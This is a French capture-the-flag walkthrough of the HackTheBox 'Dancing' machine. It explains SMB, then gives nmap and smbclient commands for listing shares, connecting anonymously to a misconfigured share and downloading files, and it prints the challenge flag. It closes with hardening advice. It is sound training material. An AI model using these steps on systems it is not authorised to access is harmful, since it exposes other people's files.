HackTheBox Writeup

Dancing

Très facileWindowssmbsmbclientnetwork-sharesanonymous-accessfile-transfer

Introduction au protocole SMB et exploitation de partages mal configurés

Dancing - HackTheBox Starting Point

Informations générales

PropriétéValeur
Difficulté⭐ Très facile
OSWindows
CatégorieStarting Point - Tier 0
CompétencesSMB, Partages réseau, Énumération Windows
Auteur0ne-nine9

Vue d'ensemble

Dancing introduit le protocole SMB (Server Message Block), un protocole fondamental dans les environnements Windows pour le partage de fichiers, imprimantes et ressources réseau. Ce challenge enseigne :

  • Les bases du protocole SMB et son fonctionnement
  • L'énumération de partages réseau avec smbclient
  • L'exploitation de configurations Anonymous/Guest mal sécurisées
  • La navigation et l'exfiltration de données via SMB

Qu'est-ce que SMB ?

Définition

SMB (Server Message Block) est un protocole de communication réseau permettant l'accès partagé aux fichiers, imprimantes et ports série entre différents hôtes d'un réseau.

Caractéristiques principales

CaractéristiqueDescription
Port par défaut445/TCP (SMB), 139/TCP (NetBIOS over TCP/IP)
Couches OSIApplication / Présentation
TransportNetBIOS over TCP/IP (NBT)
Système d'exploitationPrincipalement Windows, aussi Samba sur Linux
Usage typiquePartage de fichiers en entreprise, accès aux imprimantes

Architecture Client-Serveur

┌─────────┐                                    ┌─────────┐
│ Client  │ ──── Requêtes SMB ───────────────> │ Serveur │
│         │                                     │   SMB   │
│         │ <─── Réponses + Données ────────── │         │
└─────────┘                                    └─────────┘
     │                                              │
     │                                              ├── Shares (Partages)
     │                                              ├── Authentification
     └── Navigation, Download, Upload              └── Gestion des permissions

Modèle OSI et SMB

SMB fonctionne aux couches supérieures du modèle OSI et s'appuie sur des protocoles de transport de niveau inférieur :

┌──────────────────────────┐
│  7. Application Layer    │ ← SMB Protocol
├──────────────────────────┤
│  6. Presentation Layer   │ ← SMB Protocol
├──────────────────────────┤
│  5. Session Layer        │
├──────────────────────────┤
│  4. Transport Layer      │ ← NetBIOS over TCP/IP
├──────────────────────────┤
│  3. Network Layer        │
├──────────────────────────┤
│  2. Data Link Layer      │
├──────────────────────────┤
│  1. Physical Layer       │
└──────────────────────────┘

Partages SMB (Shares)

Un partage SMB (share) est un espace de stockage réseau accessible via le protocole SMB.

Types de partages

Partages administratifs Windows (créés automatiquement) :

  • ADMIN$ : Accès administratif aux volumes disques
  • C$, D$ : Partages administratifs des lecteurs
  • IPC$ : Inter-Process Communication (non navigable, pipes nommés)

Partages personnalisés :

  • Créés manuellement par les administrateurs
  • Peuvent avoir des permissions mal configurées

Problèmes de sécurité courants

Authentification Guest/Anonymous

Les administrateurs peuvent par erreur autoriser :

  • Guest accounts : Comptes invités avec accès minimal
  • Anonymous logons : Connexions sans authentification
  • Risque : Accès non autorisé aux données sensibles

Vulnérabilités

VulnérabilitéDescriptionImpact
Null SessionConnexion sans credentialsÉnumération d'utilisateurs, partages
Guest AccessAccès invité activéLecture/écriture de fichiers sensibles
Permissions faiblesACL mal configuréesEscalade de privilèges
SMBv1Protocole obsolèteVulnérable à EternalBlue, DoublePulsar

Phase 1 : Énumération

Vérification de connectivité

Testons d'abord la connexion avec la cible :

ping <TARGET_IP>

Stoppez avec CTRL+C après quelques réponses réussies.

Scan Nmap

Lançons un scan avec détection de version :

sudo nmap -sV <TARGET_IP>

Résultat attendu :

Starting Nmap 7.92 at 2021-09-24 20:20 BST
Nmap scan report for <TARGET_IP>
Host is up (0.056s latency).
Not shown: 998 filtered tcp ports (no-response)

PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Analyse des résultats

PortServiceSignification
135/tcpMSRPCMicrosoft RPC (Remote Procedure Call)
445/tcpmicrosoft-dsSMB - Service de partage de fichiers

Phase 2 : Énumération SMB avec smbclient

Installation de smbclient

Si smbclient n'est pas installé :

sudo apt-get install smbclient

Aide et syntaxe

Consultez l'aide pour comprendre les options :

smbclient --help

Syntaxe de base :

smbclient -L <TARGET_IP>
FlagDescription
-LListe les partages disponibles sur l'hôte
-NPas de mot de passe (optionnel)
-USpécifier un nom d'utilisateur

Liste des partages

Énumérons les partages SMB disponibles :

smbclient -L <TARGET_IP>

Prompt de mot de passe :

Enter WORKGROUP\{username}'s password:

⚠️ Note importante : Si vous ne spécifiez pas de nom d'utilisateur avec -U, smbclient utilisera votre nom d'utilisateur local. Dans notre cas, laissez le mot de passe vide (appuyez sur Entrée).

Résultat :

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
WorkShares      Disk

SMB1 disabled -- no workgroup available

Description des partages découverts

PartageTypeDescriptionAccessible ?
ADMIN$DiskPartage administratif - accès distant à tous les volumes❌ Nécessite admin
C$DiskPartage administratif du lecteur C:\ (système)❌ Nécessite admin
IPC$IPCInter-Process Communication (pipes nommés)⚠️ Non navigable
WorkSharesDiskPartage personnalisé (créé manuellement)✅ À tester !

Phase 3 : Exploitation (Foothold)

Tentative de connexion aux partages

Testons l'accès à chaque partage en laissant le mot de passe vide.

Tentative 1 : ADMIN$

smbclient \\\\<TARGET_IP>\\ADMIN$

Résultat :

Enter WORKGROUP\{username}'s password:
tree connect failed: NT_STATUS_ACCESS_DENIED

Accès refusé - Nécessite des privilèges administrateur.

Tentative 2 : C$

smbclient \\\\<TARGET_IP>\\C$

Résultat :

Enter WORKGROUP\{username}'s password:
tree connect failed: NT_STATUS_ACCESS_DENIED

Accès refusé - Nécessite des privilèges administrateur.

Tentative 3 : WorkShares

smbclient \\\\<TARGET_IP>\\WorkShares

Résultat :

Enter WORKGROUP\{username}'s password:
Try "help" to get a list of possible commands.
smb: \>

Succès ! Le partage WorkShares est mal configuré et permet l'accès anonyme sans credentials !

Une fois connecté, le prompt change en smb: \>. Vous êtes maintenant dans un shell SMB interactif.

Commandes SMB essentielles

Tapez help pour voir toutes les commandes disponibles :

smb: \> help

Commandes principales :

CommandeDescriptionÉquivalent Linux
lsListe les fichiers et dossiersls
cd <dir>Change de répertoirecd
get <file>Télécharge un fichiercp (download)
put <file>Upload un fichiercp (upload)
pwdAffiche le répertoire courantpwd
exitQuitte le shell SMBexit

Exploration du partage

Listons le contenu du partage :

smb: \> ls

Résultat :

  .                                   D        0  Mon Mar 29 09:22:01 2021
  ..                                  D        0  Mon Mar 29 09:22:01 2021
  Amy.J                               D        0  Mon Mar 29 10:08:24 2021
  James.P                             D        0  Thu Jun  3 09:38:03 2021

        3803903 blocks of size 4096. 566033 blocks available

Nous voyons deux dossiers utilisateurs : Amy.J et James.P.

Exploration du dossier Amy.J

smb: \> cd Amy.J
smb: \Amy.J\> ls

Résultat :

  .                                   D        0  Mon Mar 29 10:08:24 2021
  ..                                  D        0  Mon Mar 29 10:08:24 2021
  worknotes.txt                       A       94  Fri Mar 26 11:00:37 2021

Un fichier worknotes.txt ! Téléchargeons-le :

smb: \Amy.J\> get worknotes.txt

Résultat :

getting file \Amy.J\worknotes.txt of size 94 as worknotes.txt (0.2 KiloBytes/sec)
(average 0.2 KiloBytes/sec)

✅ Fichier téléchargé dans votre répertoire local actuel.

Exploration du dossier James.P

Retournons au répertoire racine et explorons le dossier de James :

smb: \Amy.J\> cd ..
smb: \> ls
smb: \> cd James.P
smb: \James.P\> ls

Résultat :

  .                                   D        0  Thu Jun  3 09:38:03 2021
  ..                                  D        0  Thu Jun  3 09:38:03 2021
  flag.txt                            A       32  Mon Mar 29 10:26:57 2021

🎯 Le flag ! Téléchargeons-le :

smb: \James.P\> get flag.txt

Résultat :

getting file \James.P\flag.txt of size 32 as flag.txt (0.1 KiloBytes/sec)
(average 0.2 KiloBytes/sec)

Sortie du shell SMB

Quittons le shell SMB :

smb: \James.P\> exit

Phase 4 : Exfiltration et lecture des fichiers

Les fichiers téléchargés se trouvent dans le répertoire où vous avez lancé smbclient.

Vérification des fichiers

ls

Résultat :

flag.txt  Starting-Point  worknotes.txt

Lecture du worknotes.txt

cat worknotes.txt

Contenu :

- start apache server on the linux machine
- secure the ftp server
- setup winrm on dancing

💡 Ce fichier contient des notes de travail mentionnant d'autres services à configurer. Dans un véritable pentest, ces informations seraient précieuses pour le mouvement latéral.

Lecture du flag

cat flag.txt

Résultat :

5f61c10dffbc77a704d76016a22f1664

🎉 Flag capturé ! Soumettez ce hash sur la page HackTheBox pour valider le challenge.

Concepts clés appris

1. Protocole SMB

  • Architecture : Client-serveur pour partage de ressources
  • Ports : 445/TCP (SMB), 139/TCP (NetBIOS)
  • Usage : Principalement dans les environnements Windows

2. Types de partages

  • Administratifs : ADMIN$, C$, D$ (accès privilégié requis)
  • IPC$ : Communication inter-processus (non navigable)
  • Personnalisés : Créés manuellement, souvent mal configurés

3. Vulnérabilités de configuration

  • Anonymous access : Connexion sans mot de passe
  • Guest accounts : Comptes invités mal sécurisés
  • Permissions faibles : ACL trop permissives

4. Outils d'énumération

  • smbclient : Client SMB en ligne de commande
  • nmap : Détection de services SMB
  • enum4linux : Énumération avancée (non utilisé ici)

Commandes récapitulatives

# Vérifier la connectivité
ping <TARGET_IP>

# Scanner les ports avec détection de services
sudo nmap -sV <TARGET_IP>

# Lister les partages SMB disponibles
smbclient -L <TARGET_IP>

# Se connecter à un partage spécifique
smbclient \\\\<TARGET_IP>\\WorkShares

# Commandes dans le shell SMB
ls                    # Lister les fichiers
cd <directory>        # Changer de répertoire
get <filename>        # Télécharger un fichier
pwd                   # Répertoire courant
exit                  # Quitter

# Lire les fichiers téléchargés
cat flag.txt

Bonnes pratiques de sécurité

Ce qu'il NE faut PAS faire

Autoriser l'accès Guest/Anonymous aux partages sensiblesUtiliser SMBv1 (vulnérable à EternalBlue) ❌ Exposer les partages ADMIN$ et C$ sans restrictionLaisser des permissions trop permissives sur les partages personnalisés

Recommandations

Désactiver l'accès Guest sur tous les partages ✅ Utiliser SMBv3 avec chiffrement ✅ Implémenter des ACL strictes (principe du moindre privilège) ✅ Auditer régulièrement les permissions des partages ✅ Segmenter le réseau pour limiter l'accès aux partages sensibles

Pour aller plus loin

Ressources recommandées

Outils complémentaires

  • enum4linux : Énumération complète SMB/CIFS
  • CrackMapExec : Framework d'exploitation réseau
  • Impacket : Suite d'outils Python pour SMB
  • smbmap : Énumération de partages avec permissions

Prochaines étapes

Continuez votre apprentissage avec les autres challenges Tier 0 :

  • Fawn : Exploitation FTP
  • Redeemer : Bases de données Redis

Questions de révision

  1. Quel est le port par défaut de SMB ?
  2. Quelle est la différence entre ADMIN$ et un partage personnalisé ?
  3. Pourquoi IPC$ n'est-il pas navigable ?
  4. Qu'est-ce qu'une connexion Anonymous ?
  5. Quelle commande permet de lister les partages disponibles ?

Félicitations ! Vous avez maîtrisé les bases de l'énumération et exploitation SMB. Ce protocole est omniprésent dans les environnements d'entreprise et sera rencontré fréquemment lors de vos pentests. 🎯


Write-up rédigé à des fins éducatives. Pratique autorisée uniquement sur des systèmes dont vous avez l'autorisation.